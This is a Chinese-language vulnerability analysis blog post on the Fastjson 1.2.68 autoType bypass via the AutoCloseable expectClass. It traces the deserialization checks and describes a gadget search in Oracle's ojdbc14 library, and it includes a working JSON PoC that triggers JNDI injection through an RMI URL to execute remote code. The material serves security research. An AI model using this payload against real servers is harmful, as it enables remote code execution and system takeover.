Fastjson 1.2.68漏洞分析与gadget寻找思路

1、背景

前段时间fastjson爆发了一个可以绕过autotype开关的反序列化漏洞,在1.2.68及以下版本中均受影响,黑客可利用该漏洞直接获取服务器系统权限并远程执行任意命令。

2、漏洞分析&Gadget利用

前几天看了网上大佬发的漏洞原理分析文档,在这里又重新通过调试代码的方式分析一下大概的漏洞触发原理。

2.1、漏洞分析

fastjson 1.2.68 反序列化漏洞 gadget 的一种挖掘思路文章得知,这个漏洞其实是用户指定了期望类(expectClass)造成的,我这里选取了java.lang.AutoCloseable,这个接口类在fastjson<=1.2.68版本还未加入fastjson黑名单,fastjson黑名单fastjson blacklist感兴趣的读者可以看一下,然后开始进行断点调试。
第一步:从@type 指定的类作为条件去获取 Deserialzer 对象,如下图所示:
获取Deserialzer 对象
跟进ParserConfig#getDeserializer 方法:
在这里插入图片描述
走到最后一个条件,会调用createJavaBeanDeserializer方法创建JavaBeanDeserializer对象,继续跟进代码。
跟进JavaBeanDeserializer#deserialze方法
会将第二个 @type 的类名和前面构造 JavaBeanDeserializer 对象时指定的expectClass期望类直接传了进来,调用checkAutoType方法进行一次校验,如下图所示:
在这里插入图片描述
这里expectClass的值是第一个@type的值,也就是java.lang.AutoCloseable ,是不为空的,所以绕过了autoType的检测,不过这里还需要对目标类,也就是第二个@type 的类名进行一次黑白名单的校验,当它不存在于黑名单的时候,便会调用TypeUtils.loadClass方法加载目标类,最后调用isAssignableFrom()方法,用来判断反序列化目标类是否实现了期望类接口,如果是,则返回该class对象。
最后对目标类进行反序列化操作,漏洞触发。感兴趣的可以自己下断点调试一遍。

综上,总结一下漏洞触发的条件:
1、需要构造一个期望类并且期望类不能在黑名单 这里java.lang.AutoCloseable刚好不在黑名单。
2、目标类需要继承或实现期望类,并且不在fastjson的黑名单。
备注:从fastjson 1.2.68 反序列化漏洞 gadget 的一种挖掘思路文章中了解到,fastjson在1.2.51版本后将ClassLoader、DataSource、RowSet 等接口类做了代码判断,所以JNDI注入基本无法使用。

2.2、Gadget寻找思路

上节提到,fastjson大于等于1.2.51基本上无法利用jndi注入,从大佬的分析文章看到可以通过写入文件的方式间接RCE,这个笔者目前还在寻找对应的gadget,下面讲一下fastjson<1.2.51版本下RCE的gadget寻找思路。

利用环境:fastjson 1.2.47.jar +ojdbc14.jar(数据库连接的jar包,Java项目中应该用的比较多)
利用思路
1、寻找一个父类或父接口为java.lang.AutoCloseable的类,RowSet接口类实现了AutoCloseable接口,刚好通过分析ojdbc14.jar的源码发现,所以这次找了oracle.jdbc.rowset.OracleJDBCRowSet这个类来进行利用。
2、根据fastjson的特性和JNDI注入的原理,先寻找一下这个类的lookup函数,如下图所示,发现getConnection这个函数调用了lookup这个方法
在这里插入图片描述
然后发现传入的参数是可控的,因为OracleJDBCRowSet这个类继承了OracleRowSet这个抽象类,而OracleRowSet中有dataSourceName对应的set和get方法。
在这里插入图片描述
3、接下来查看哪个函数调用了getConnection这个方法
在这里插入图片描述
这里有两个函数调用了getConnection方法,我们注意到setCommand()方法中这个command的参数也是可控的,并且类型为String,意味着随便传入一个值即可。
在这里插入图片描述
4、构造poc如下:

{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"oracle.jdbc.rowset.OracleJDBCRowSet\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"command\":\"111\"}"

备注:这个gadget用到的oracle.jdbc.rowset.OracleJDBCRowSet类在fastjson 1.2.61已经被加入到了官方黑名单中

5、利用jndi注入弹出计算器
在这里插入图片描述

总结

本人菜鸟一枚,由于之前对fastjson的反序列化流程并不熟悉,所以漏洞分析起来较为困难,中途有参考过网上大佬分析的文章,自己重新调试代码并整理。如有错误,还请大佬们不吝赐教,本次分析中涉及到的漏洞poc请勿拿去做非法用途。

Reference

1:fastjson 1.2.68 反序列化漏洞 gadget 的一种挖掘思路
2:fastjson 1.2.68 最新版本有限制 autotype bypass

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值